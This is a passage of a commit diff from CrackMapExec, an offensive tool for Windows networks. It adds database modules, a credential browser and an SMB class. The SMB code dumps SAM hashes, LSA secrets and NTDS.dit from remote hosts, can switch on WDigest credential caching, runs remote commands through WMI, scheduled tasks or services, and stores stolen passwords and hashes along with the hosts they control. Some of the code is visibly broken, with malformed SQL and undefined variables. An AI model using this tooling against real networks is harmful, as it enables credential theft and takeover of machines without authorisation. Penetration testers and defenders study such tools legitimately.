_type = "%d" % key['Type']
self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
tds.MSSQL.printReplies = printRepliesCME
tds.MSSQL.printRows = printRowsCME

View File

42
cme/database.py → cme/protocols/mssql/database.py Normal file → Executable file
View File

@ -1,8 +1,34 @@
class CMEDatabase:
class database:
def __init__(self, conn):
self.conn = conn
@staticmethod
def db_schema(db_conn):
db_conn.execute('''CREATE TABLE "hosts" (
"id" integer PRIMARY KEY,
"ip" text,
"hostname" text,
"domain" text,
"os" text
)''')
#This table keeps track of which credential has admin access over which machine and vice-versa
db_conn.execute('''CREATE TABLE "links" (
"id" integer PRIMARY KEY,
"credid" integer,
"hostid" integer
)''')
# type = hash, plaintext
db_conn.execute('''CREATE TABLE "credentials" (
"id" integer PRIMARY KEY,
"credtype" text,
"domain" text,
"username" text,
"password" text
)''')
def add_host(self, ip, hostname, domain, os):
"""
Check if this host has already been added to the database, if not add it in.
@ -17,7 +43,7 @@ class CMEDatabase:
cur.close()
def add_credential(self, credtype, domain, username, password, pillaged_from=-1):
def add_credential(self, credtype, domain, username, password):
"""
Check if this credential has already been added to the database, if not add it in.
"""
@ -27,7 +53,7 @@ class CMEDatabase:
results = cur.fetchall()
if not len(results):
cur.execute("INSERT INTO credentials (credtype, domain, username, password, pillagedfrom) VALUES (?,?,?,?,?)", [credtype, domain, username, password, pillaged_from] )
cur.execute("INSERT INTO credentials (credtype, domain, username, password) VALUES (?,?,?,?)", [credtype, domain, username, password] )
cur.close()
@ -70,7 +96,7 @@ class CMEDatabase:
if credID:
cur.execute("SELECT * from links WHERE credid=?", [credID])
elif hostID:
cur.execute("SELECT * from links WHERE hostid=?", [hostID])
@ -85,7 +111,7 @@ class CMEDatabase:
if credIDs:
for credID in credIDs:
cur.execute("DELETE FROM links WHERE credid=?", [credID])
elif hostIDs:
for hostID in hostIDs:
cur.execute("DELETE FROM links WHERE hostid=?", [hostID])
@ -121,7 +147,7 @@ class CMEDatabase:
elif filterTerm and filterTerm != "":
cur.execute("SELECT * FROM credentials WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower())])
# otherwise return all credentials
# otherwise return all credentials
else:
cur.execute("SELECT * FROM credentials")
@ -154,10 +180,10 @@ class CMEDatabase:
elif filterTerm and filterTerm != "":
cur.execute("SELECT * FROM hosts WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower()), '%{}%'.format(filterTerm.lower())])
# otherwise return all credentials
# otherwise return all credentials
else:
cur.execute("SELECT * FROM hosts")
results = cur.fetchall()
cur.close()
return results
return results

View File

@ -0,0 +1,231 @@
import cmd
from cme.protocols.mssql.database import database
class navigator(cmd.Cmd):
def __init__(self, main_menu):
cmd.Cmd.__init__(self)
self.main_menu = main_menu
self.config = main_menu.config
self.db = database(main_menu.conn)
self.prompt = 'cmedb ({})({}) > '.format(main_menu.workspace, 'mssql')
def do_back(self, line):
raise
def display_creds(self, creds):
print "\nCredentials:\n"
print " CredID Admin On CredType Domain UserName Password"
print " ------ -------- -------- ------ -------- --------"
for cred in creds:
# (id, credtype, domain, username, password, host, notes, sid)
credID = cred[0]
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
links = self.db.get_links(credID=credID)
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
'{:<13}'.format(str(len(links)) + ' Host(s)'),
'{:<12}'.format(credType),
u'{:<17}'.format(domain.decode('utf-8')),
u'{:<21}'.format(username.decode('utf-8')),
u'{:<17}'.format(password.decode('utf-8')))
print ""
def display_hosts(self, hosts):
print "\nHosts:\n"
print " HostID Admins IP Hostname Domain OS"
print " ------ ------ -- -------- ------ --"
for host in hosts:
# (id, ip, hostname, domain, os)
hostID = host[0]
ip = host[1]
hostname = host[2]
domain = host[3]
os = host[4]
links = self.db.get_links(hostID=hostID)
print u" {}{}{}{}{}{}".format('{:<8}'.format(hostID),
'{:<15}'.format(str(len(links)) + ' Cred(s)'),
'{:<17}'.format(ip),
u'{:<25}'.format(hostname.decode('utf-8')),
u'{:<17}'.format(domain.decode('utf-8')),
'{:<17}'.format(os))
print ""
def do_hosts(self, line):
filterTerm = line.strip()
if filterTerm == "":
hosts = self.db.get_hosts()
self.display_hosts(hosts)
else:
hosts = self.db.get_hosts(filterTerm=filterTerm)
if len(hosts) > 1:
self.display_hosts(hosts)
elif len(hosts) == 1:
print "\nHost(s):\n"
print " HostID IP Hostname Domain OS"
print " ------ -- -------- ------ --"
hostIDList = []
for host in hosts:
hostID = host[0]
hostIDList.append(hostID)
ip = host[1]
hostname = host[2]
domain = host[3]
os = host[4]
print u" {}{}{}{}{}".format('{:<8}'.format(hostID),
'{:<17}'.format(ip),
u'{:<25}'.format(hostname.decode('utf-8')),
u'{:<17}'.format(domain.decode('utf-8')),
'{:<17}'.format(os))
print ""
print "\nCredential(s) with Admin Access:\n"
print " CredID CredType Domain UserName Password"
print " ------ -------- ------ -------- --------"
for hostID in hostIDList:
links = self.db.get_links(hostID=hostID)
for link in links:
linkID, credID, hostID = link
creds = self.db.get_credentials(filterTerm=credID)
for cred in creds:
credID = cred[0]
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
print u" {}{}{}{}{}".format('{:<8}'.format(credID),
'{:<12}'.format(credType),
u'{:<17}'.format(domain.decode('utf-8')),
u'{:<21}'.format(username.decode('utf-8')),
u'{:<17}'.format(password.decode('utf-8')))
print ""
def do_creds(self, line):
filterTerm = line.strip()
if filterTerm == "":
creds = self.db.get_credentials()
self.display_creds(creds)
elif filterTerm.split()[0].lower() == "add":
# add format: "domain username password <notes> <credType> <sid>
args = filterTerm.split()[1:]
if len(args) == 3:
domain, username, password = args
if validate_ntlm(password):
self.db.add_credential("hash", domain, username, password)
else:
self.db.add_credential("plaintext", domain, username, password)
else:
print "[!] Format is 'add domain username password"
return
elif filterTerm.split()[0].lower() == "remove":
args = filterTerm.split()[1:]
if len(args) != 1 :
print "[!] Format is 'remove <credID>'"
return
else:
self.db.remove_credentials(args)
self.db.remove_links(credIDs=args)
elif filterTerm.split()[0].lower() == "plaintext":
creds = self.db.get_credentials(credtype="plaintext")
self.display_creds(creds)
elif filterTerm.split()[0].lower() == "hash":
creds = self.db.get_credentials(credtype="hash")
self.display_creds(creds)
else:
creds = self.db.get_credentials(filterTerm=filterTerm)
print "\nCredential(s):\n"
print " CredID CredType Domain UserName Password"
print " ------ -------- ------ -------- --------"
credIDList = []
for cred in creds:
credID = cred[0]
credIDList.append(credID)
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
'{:<12}'.format(credType),
u'{:<22}'.format(domain.decode('utf-8')),
u'{:<21}'.format(username.decode('utf-8')),
u'{:<17}'.format(password.decode('utf-8'))
)
print ""
print "\nAdmin Access to Host(s):\n"
print " HostID IP Hostname Domain OS"
print " ------ -- -------- ------ --"
for credID in credIDList:
links = self.db.get_links(credID=credID)
for link in links:
linkID, credID, hostID = link
hosts = self.db.get_hosts(hostID)
for host in hosts:
hostID = host[0]
ip = host[1]
hostname = host[2]
domain = host[3]
os = host[4]
print u" {}{}{}{}{}".format('{:<8}'.format(hostID),
'{:<17}'.format(ip),
u'{:<25}'.format(hostname.decode('utf-8')),
u'{:<17}'.format(domain.decode('utf-8')),
'{:<17}'.format(os))
print ""
def complete_creds(self, text, line, begidx, endidx):
"Tab-complete 'creds' commands."
commands = [ "add", "remove", "hash", "plaintext"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in commands if s.startswith(mline)]

View File

489
cme/protocols/smb.py Executable file
View File

@ -0,0 +1,489 @@
import socket
import os
import ntpath
from cme.logger import CMEAdapter
from StringIO import StringIO
from impacket.smbconnection import SMBConnection, SessionError
from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
from impacket.nmb import NetBIOSError
from impacket.dcerpc.v5.rpcrt import DCERPCException
from cme.connection import *
from cme.protocols.smb.wmiexec import WMIEXEC
from cme.protocols.smb.atexec import TSCH_EXEC
from cme.protocols.smb.smbexec import SMBEXEC
from cme.protocols.smb.smbspider import SMBSpider
from cme.helpers.logger import highlight
from cme.helpers.misc import gen_random_string
from cme.helpers.powershell import create_ps_command
from pywerview.cli.helpers import *
from datetime import datetime
class smb(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.hash = None
self.lmhash = ''
self.nthash = ''
self.remote_ops = None
self.bootkey = None
self.output_filename = None
connection.__init__(self, args, db, host)
@staticmethod
def proto_args(parser, std_parser, module_parser):
smb_parser = parser.add_parser('smb', help="Own stuff using SMB and/or Active Directory", parents=[std_parser, module_parser])
smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
dgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target')
smb_parser.add_argument("--smb-port", type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="Specify a share (default: C$)")
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
cgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
cgroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
#cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
#cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
cgroup.add_argument("--wdigest", choices={'enable', 'disable'}, help="Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")
egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
egroup.add_argument("--shares", action="store_true", help="Enumerate shares and access")
egroup.add_argument('--uac', action='store_true', help='Checks UAC status')
egroup.add_argument("--sessions", action='store_true', help='Enumerate active sessions')
egroup.add_argument('--disks', action='store_true', help='Enumerate disks')
egroup.add_argument("--users", action='store_true', help='Enumerate local users')
egroup.add_argument("--groups", action='store_true', help='Enumerate local groups')
egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', help='Enumerate users by bruteforcing RID\'s (default: 4000)')
egroup.add_argument("--pass-pol", action='store_true', help='Dump password policy')
egroup.add_argument("--lusers", action='store_true', help='Enumerate logged on users')
egroup.add_argument("--wmi", metavar='QUERY', type=str, help='Issues the specified WMI query')
egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')
sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)')
sgroup.add_argument("--content", action='store_true', help='Enable file content searching')
sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='Directories to exclude from spidering')
segroup = sgroup.add_mutually_exclusive_group()
segroup.add_argument("--pattern", nargs='+', help='Pattern(s) to search for in folders, filenames and file content')
segroup.add_argument("--regex", nargs='+', help='Regex(s) to search for in folders, filenames and file content')
sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)')
cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default=None, help="Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process')
cgroup.add_argument('--no-output', action='store_true', help='Do not retrieve command output')
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="Execute the specified command")
cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='Execute the specified PowerShell command')
return parser
def proto_logger(self):
self.logger = CMEAdapter(extra={
'protocol': 'SMB',
'host': self.host,
'port': self.args.smb_port,
'hostname': u'{}'.format(self.hostname)
})
def enum_host_info(self):
#Get the remote ip address (in case the target is a hostname)
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
remote_ip = self.conn.getRemoteHost()
try:
self.conn.login('' , '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
self.host = remote_ip
self.domain = self.conn.getServerDomain()
self.hostname = self.conn.getServerName()
self.server_os = self.conn.getServerOS()
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
if not self.domain:
self.domain = self.hostname
self.db.add_host(self.host, self.hostname, self.domain, self.server_os)
try:
'''
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
(go home Windows, you're drunk)
'''
self.conn.logoff()
except:
pass
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
#Re-connect since we logged off
self.create_conn_obj()
def print_host_info(self):
self.logger.info(u"{} (name:{}) (domain:{})".format(
self.server_os,
self.hostname.decode('utf-8'),
self.domain.decode('utf-8')
))
def plaintext_login(self, domain, username, password):
try:
self.conn.login(username, password, domain)
self.password = password
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('plaintext', domain, username, password)
if self.admin_privs:
self.db.link_cred_to_host('plaintext', domain, username, password, self.host)
out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
password.decode('utf-8'),
highlight('(Pwn3d!)') if self.admin_privs else '')
self.logger.success(out)
return True
except SessionError as e:
error, desc = e.getErrorString()
self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
password.decode('utf-8'),
error,
'({})'.format(desc) if self.args.verbose else ''))
if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username)
return False
def hash_login(self, domain, username, ntlm_hash):
lmhash = ''
nthash = ''
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
else:
nthash = ntlm_hash
try:
self.conn.login(username, '', domain, lmhash, nthash)
self.hash = ntlm_hash
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('hash', domain, username, ntlm_hash)
if self.admin_privs:
self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)
out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
ntlm_hash,
highlight('(Pwn3d!)') if self.admin_privs else '')
self.logger.success(out)
return True
except SessionError as e:
error, desc = e.getErrorString()
self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
ntlm_hash,
error,
'({})'.format(desc) if self.args.verbose else ''))
if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username)
return False
def create_conn_obj(self):
try:
self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)
except socket.error:
return False
return True
def check_if_admin(self):
lmhash = ''
nthash = ''
if self.hash:
if self.hash.find(':') != -1:
lmhash, nthash = self.hash.split(':')
else:
nthash = self.hash
self.admin_privs = invoke_checklocaladminaccess(self.host, self.domain, self.username, self.password, lmhash, nthash)
@requires_admin
def execute(self, payload=None, get_output=False, methods=None):
if self.args.exec_method: methods = [self.args.exec_method]
if not methods : methods = ['wmiexec', 'atexec', 'smbexec']
if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output: get_output = True
for method in methods:
if method == 'wmiexec':
try:
exec_method = WMIEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
logging.debug('Executed command via wmiexec')
break
except:
logging.debug('Error executing command via wmiexec, traceback:')
logging.debug(format_exc())
continue
elif method == 'atexec':
try:
exec_method = TSCH_EXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.hash) #self.args.share)
logging.debug('Executed command via atexec')
break
except:
logging.debug('Error executing command via atexec, traceback:')
logging.debug(format_exc())
continue
elif method == 'smbexec':
try:
exec_method = SMBEXEC(self.host, self.smb_share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
logging.debug('Executed command via smbexec')
break
except:
logging.debug('Error executing command via smbexec, traceback:')
logging.debug(format_exc())
continue
if hasattr(self, 'server'): self.server.track_host(self.host)
output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))
if self.args.execute or self.args.ps_execute:
self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
buf = StringIO(output).readlines()
for line in buf:
self.logger.highlight(line.strip())
return output
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output: get_output = True
return self.execute(create_ps_command(payload), get_output, methods)
def shares(self):
temp_dir = ntpath.normpath("\\" + gen_random_string())
#hostid,_,_,_,_,_,_ = self.db.get_hosts(filterTerm=self.host)[0]
permissions = []
try:
for share in self.conn.listShares():
share_name = share['shi1_netname'][:-1]
share_remark = share['shi1_remark'][:-1]
share_info = {'name': share_name, 'remark': share_remark, 'access': []}
read = False
write = False
try:
self.conn.listPath(share_name, '*')
read = True
share_info['access'].append('READ')
except SessionError:
pass
try:
self.conn.createDirectory(share_name, temp_dir)
self.conn.deleteDirectory(share_name, temp_dir)
write = True
share_info['access'].append('WRITE')
except SessionError:
pass
permissions.append(share_info)
#self.db.add_share(hostid, share_name, share_remark, read, write)
print permissions
except Exception as e:
self.logger.error('Error enumerating shares: {}'.format(e))
#@requires_admin
#def uac(self):
# return UAC(self).enum()
def sessions(self):
sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
print sessions
def disks(self):
disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
print disks
def groups(self):
groups = get_netlocalgroup(self.host, None, self.domain, self.username, self.password, self.lmhash, self.nthash, queried_groupname='', list_groups=True, recurse=False)
print groups
#def users(self):
# return SAMRDump(self).enum()
#def rid_brute(self):
# return LSALookupSid(self).brute_force()
#def pass_pol(self):
# return PassPolDump(self).enum()
def lusers(self):
lusers = get_netloggedon(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
print lusers
#@requires_admin
#def wmi(self, wmi_query=None, wmi_namespace='//./root/cimv2'):
# if self.args.wmi_namespace:
# wmi_namespace = self.args.wmi_namespace
# if not wmi_query and self.args.wmi:
# wmi_query = self.args.wmi
# return WMIQUERY(self).query(wmi_query, wmi_namespace)
#def spider(self):
# spider = SMBSpider(self)
# spider.spider(self.args.spider, self.args.depth)
# spider.finish()
# return spider.results
def enable_remoteops(self):
if self.remote_ops is not None and self.bootkey is not None:
return
try:
self.remote_ops = RemoteOperations(self.conn, False, None) #self.__doKerberos, self.__kdcHost
self.remote_ops.enableRegistry()
self.bootkey = self.remote_ops.getBootKey()
except Exception as e:
self.logger.error('RemoteOperations failed: {}'.format(e))
@requires_admin
def sam(self):
self.enable_remoteops()
if self.remote_ops and self.bootkey:
try:
SAMFileName = self.remote_ops.saveSAM()
SAMHashes = SAMHashes(SAMFileName, self.bootkey, isRemote=True)
self.logger.success('Dumping SAM hashes')
SAMHashes.dump()
SAMHashes.export(self.output_filename)
sam_hashes = 0
with open(self.output_filename + '.sam' , 'r') as sam_file:
for sam_hash in sam_file:
#parse this shizzle here
ntlm_hash = ''
self.db.add_credential('hash', self.domain, self.username, ntlm_hash, pillaged_from=self.host, local=True)
sam_hashes += 1
self.logger.success('Added {} SAM hashes to the database'.format(highlight(sam_hashes)))
except Exception as e:
self.logger.error('SAM hashes extraction failed: {}'.format(e))
self.remote_ops.finish()
SAMHashes.finish()
@requires_admin
def lsa(self):
self.enable_remoteops()
if self.remote_ops and self.bootkey:
try:
SECURITYFileName = self.remote_ops.saveSECURITY()
LSASecrets = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True)
self.logger.success('Dumping LSA secrets')
LSASecrets.dumpCachedHashes()
LSASecrets.exportCached(self.output_filename)
LSASecrets.dumpSecrets()
LSASecrets.exportSecrets(self.output_filename)
secrets = 0
with open(self.output_filename + '.lsa' , 'r') as lsa_file:
for secret in lsa_file:
#parse this shizzle here
self.db.add_credential('lsa', self.domain, self.username, secret, pillaged_from=self.host, local=True)
secrets += 1
self.logger.success('Added {} LSA secrets to the database'.format(highlight(secrets)))
except Exception as e:
self.logger.error('LSA hashes extraction failed: {}'.format(e))
self.remote_ops.finish()
LSASecrets.finish()
@requires_admin
def ntds(self):
self.enable_remoteops()
if self.remote_ops and self.bootkey:
try:
NTDSFileName = self.remote_ops.saveNTDS()
NTDSHashes = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=self.__history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName, justUser=self.__justUser,
printUserStatus= self.__printUserStatus)
logging.success('Dumping the NTDS, this could take a while so go grab a redbull...')
NTDSHashes.dump()
ntds_hashes = 0
with open(self.output_filename + '.ntds' , 'r') as ntds_file:
for ntds_hash in ntds_file:
#parse this shizzle here
self.db.add_ntds_hash(hostid, self.domain, self.username, ntds_hash)
ntds_hash += 1
self.logger.success('Added {} NTDS hashes to the database'.format(highlight(ntds_hashes)))
except Exception as e:
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resumeFile = NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
self.logger.error(e)
if self.args.ntds is not 'drsuapi':
self.logger.error('Something wen\'t wrong with the DRSUAPI approach. Try again with --ntds vss')
self.remote_ops.finish()
NTDSHashes.finish()
#@requires_admin
#def wdigest(self):
# return getattr(WDIGEST(self), self.args.wdigest)()

0
cme/protocols/smb/__init__.py Executable file
View File

View File

@ -2,7 +2,7 @@ import os
import logging
from impacket.dcerpc.v5 import tsch, transport
from impacket.dcerpc.v5.dtypes import NULL
from cme.helpers import gen_random_string
from cme.helpers.misc import gen_random_string
from gevent import sleep
class TSCH_EXEC:
@ -101,7 +101,7 @@ class TSCH_EXEC:
argument_xml = " <Arguments>/C {} &gt; \\\\{}\\{}\\{} 2&gt;&amp;1</Arguments>".format(command, local_ip, self.__share_name, tmpFileName)
else:
argument_xml = " <Arguments>/C {} &gt; %windir%\\Temp\\{} 2&gt;&amp;1</Arguments>".format(command, tmpFileName)
elif self.__retOutput is False:
argument_xml = " <Arguments>/C {}</Arguments>".format(command)
@ -180,4 +180,4 @@ class TSCH_EXEC:
#logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
dce.disconnect()
dce.disconnect()

350
cme/protocols/smb/database.py Executable file
View File

@ -0,0 +1,350 @@
class database:
def __init__(self, conn):
self.conn = conn
@staticmethod
def db_schema(db_conn):
db_conn.execute('''CREATE TABLE "computers" (
"id" integer PRIMARY KEY,
"ip" text,
"hostname" text,
"domain" text,
"os" text,
"dc" boolean
)''')
# type = hash, plaintext
db_conn.execute('''CREATE TABLE "credentials" (
"id" integer PRIMARY KEY,
"userid", integer,
"credtype" text,
"password" text,
"pillaged_from_computerid" integer,
FOREIGN KEY(userid) REFERENCES users(id),
FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id)
)''')
db_conn.execute('''CREATE TABLE "users" (
"id" integer PRIMARY KEY,
"domain" text,
"username" text,
"local" boolean,
)''')
db_conn.execute('''CREATE TABLE "groups" (
"id" integer PRIMARY KEY,
"domain" text,
"name" text
)''')
db_conn.execute('''CREATE TABLE "ntds_dumps" (
"id" integer PRIMARY KEY,
"computerid", integer,
"domain" text,
"username" text,
"hash" text,
FOREIGN KEY(computerid) REFERENCES computers(id)
)''')
#This table keeps track of which credential has admin access over which machine and vice-versa
db_conn.execute('''CREATE TABLE "admin_relations" (
"id" integer PRIMARY KEY,
"userid" integer,
"computerid" integer,
FOREIGN KEY(userid) REFERENCES users(id),
FOREIGN KEY(computerid) REFERENCES computers(id)
)''')
db_conn.execute('''CREATE TABLE "loggedin_relations" (
"id" integer PRIMARY KEY,
"userid" integer,
"computerid" integer,
FOREIGN KEY(userid) REFERENCES users(id),
FOREIGN KEY(computerid) REFERENCES computers(id)
)''')
db_conn.execute('''CREATE TABLE "group_relations" (
"id" integer PRIMARY KEY,
"userid" integer,
"groupid" integer,
FOREIGN KEY(userid) REFERENCES users(id),
FOREIGN KEY(groupid) REFERENCES groups(id)
)''')
#db_conn.execute('''CREATE TABLE "shares" (
# "id" integer PRIMARY KEY,
# "hostid" integer,
# "name" text,
# "remark" text,
# "read" boolean,
# "write" boolean
# )''')
#def add_share(self, hostid, name, remark, read, write):
# cur = self.conn.cursor()
# cur.execute("INSERT INTO shares (hostid, name, remark, read, write) VALUES (?,?,?,?,?)", [hostid, name, remark, read, write])
# cur.close()
def add_host(self, ip, hostname, domain, os, dc=False):
"""
Check if this host has already been added to the database, if not add it in.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip])
results = cur.fetchall()
if not len(results):
cur.execute("INSERT INTO computers (ip, hostname, domain, os, dc) VALUES (?,?,?,?,?)", [ip, hostname, domain, os, dc])
cur.close()
def add_credential(self, credtype, domain, username, password, pillaged_from='NULL', local=False, userID=None):
"""
Check if this credential has already been added to the database, if not add it in.
"""
self.add_user(domain, username, local)
cur = self.conn.cursor()
cur.execute("SELECT * FROM users WHERE LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND local=?", [domain, username, local])
results = cur.fetchall()
for user in results:
userid = user[0]
cur.execute("SELECT * from credentials WHERE userid=? AND credtype=? AND password=?", [userid, credtype, password])
results=cur.fetchall()
if not len(results):
cur.execute("INSERT INTO credentials (userid, credtype, password, pillaged_from_computerid) VALUES (?,?,?,?)", [userid, credtype, password, pillaged_from] )
cur.close()
def add_user(self, domain, username, local=False):
cur = self.conn.cursor()
cur.execute("SELECT * FROM users WHERE LOWER(domain)=LOWER(?) and LOWER(username)=LOWER(?) and local=(?)", [domain, username, local])
results = cur.fetchall()
if not len(results):
cur.execute("INSERT INTO users (domain, username, local) VALUES (?,?,?)", [domain, username, local])
cur.close()
def add_group(self, domain, name):
cur = self.conn.cursor()
cur.execute("SELECT * FROM groups WHERE LOWER(domain)=LOWER(?) AND LOWER(name)=LOWER(?)", [domain, name])
results = cur.fetchall()
if not len(results):
cur.execute("INSERT INTO groups (domain, name) VALUES (?,?)", [domain, name])
cur.close()
def add_ntds_hash(self, hostid, domain, username, hash):
cur = self.conn.cursor()
cur.execute("INSERT INTO ntds (dcid, domain, username, hash) VALUES (?,?,?,?)", [hostid, domain, username, hash])
cur.close()
def remove_credentials(self, credIDs):
"""
Removes a credential ID from the database
"""
for credID in credIDs:
cur = self.conn.cursor()
cur.execute("DELETE FROM credentials WHERE id=?", [credID])
cur.close()
def add_admin_user(self, userid, host):
cur = self.conn.cursor()
cur.execute("SELECT * FROM users WHERE userid=?", [userid])
users = cur.fetchall()
cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [host])
hosts = cur.fetchall()
if len(users) and len(hosts):
for user, host in zip(users, hosts):
userid = user[0]
hostid = host[0]
#Check to see if we already added this link
cur.execute("SELECT * FROM admin_relations WHERE userid=? AND computerid=?", [userid, hostid])
links = cur.fetchall()
if not len(links):
cur.execute("INSERT INTO admin_relations (userid, computerid) VALUES (?,?)", [userid, hostid])
cur.close()
def get_admin_relations(self, userID=None, hostID=None):
cur = self.conn.cursor()
if userID:
cur.execute("SELECT * from admin_relations WHERE userid=?", [userID])
elif hostID:
cur.execute("SELECT * from admin_relations WHERE computerid=?", [hostID])
results = cur.fetchall()
cur.close()
return results
def remove_admin_relation(self, userIDs=None, hostIDs=None):
cur = self.conn.cursor()
if userIDs:
for userID in userIDs:
cur.execute("DELETE FROM admin_relations WHERE userid=?", [userID])
elif hostIDs:
for hostID in hostIDs:
cur.execute("DELETE FROM admin_relations WHERE hostid=?", [hostID])
cur.close()
def is_credential_valid(self, credentialID):
"""
Check if this credential ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM credentials WHERE id=? LIMIT 1', [credentialID])
results = cur.fetchall()
cur.close()
return len(results) > 0
def get_credentials(self, filterTerm=None, credtype=None, userID=None):
"""
Return credentials from the database.
"""
cur = self.conn.cursor()
# if we're returning a single credential by ID
if self.is_credential_valid(filterTerm):
cur.execute("SELECT * FROM credentials WHERE id=? LIMIT 1", [filterTerm])
# if we're filtering by credtype
elif credtype:
cur.execute("SELECT * FROM credentials WHERE credtype=?", [credtype])
elif userID:
cur.execute("SELECT * FROM credentials WHERE userid=?", [userID])
# otherwise return all credentials
else:
cur.execute("SELECT * FROM credentials")
results = cur.fetchall()
cur.close()
return results
def is_user_valid(self, userID):
"""
Check if this User ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [userID])
results = cur.fetchall()
cur.close()
return len(results) > 0
def get_users(self, filterTerm=None):
cur = self.conn.cursor()
if self.is_user_valid(filterTerm):
cur.execute("SELECT * FROM users WHERE id=? LIMIT 1", [filterTerm])
# if we're filtering by username
elif filterTerm and filterTerm != '':
